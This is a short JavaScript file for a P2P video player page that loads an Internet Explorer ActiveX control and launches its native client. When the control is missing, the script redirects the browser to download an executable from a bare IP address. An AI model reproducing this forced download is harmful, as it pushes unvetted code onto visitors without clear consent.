var loadok = false;
var vpeer = null;

function loadFile() {
    document.location = "http://81.177.5.164/p2pvideo_setup.exe";
}


function doplay() {
    player.sendEvent("PLAY");
}


function getActiveXObject() {
    if (window.ActiveXObject) {
        try {
            var obj = new ActiveXObject("p2p.p2pCtrl");
            if (obj == null) {
                alert("obj is null, activex control has not installed on ie");
            }
            return obj;
        } catch (e) {
            loadFile();
        }
        return null;
    }
}


function stopp2pvideo() {
    var player = document.getElementById("p2pplayer");
    if ( player )
    	player.Stop();
    if (vpeer != null) {
        vpeer.Stop("exit");
    }
}

function loadvpeer() {
    vpeer = getActiveXObject();
    if (vpeer == null) {
        loadok = false;
        return;
    }
    loadok = true;
    if (vpeer.hasLoaded() != 1) {
        vpeer.loadExe();
    } else {
        stopp2pvideo();
    }
}


function loading() {
    if (vpeer != null && vpeer.hasLoaded() == 1) {
        clearInterval(loadtimer);
        loadtimer = null;
        if (!loadok) {
            alert("p2p client could not be loaded!");
        }
    }
}


function load() {
    loadtimer = setInterval(loading, 1000);
    setTimeout(clear, 30000);
    return;
}


function clear() {
    clearInterval(loadtimer);
    loadtimer = null;
    return;
}


function mainLoadP2P() {
    if (navigator.userAgent.indexOf("Firefox") != -1) {
        return 0;
    }
    loadvpeer();
    load();
}


function mainUnloadP2P() {
    if (navigator.userAgent.indexOf("Firefox") != -1) {
        return 0;
    }
    stopp2pvideo();
}

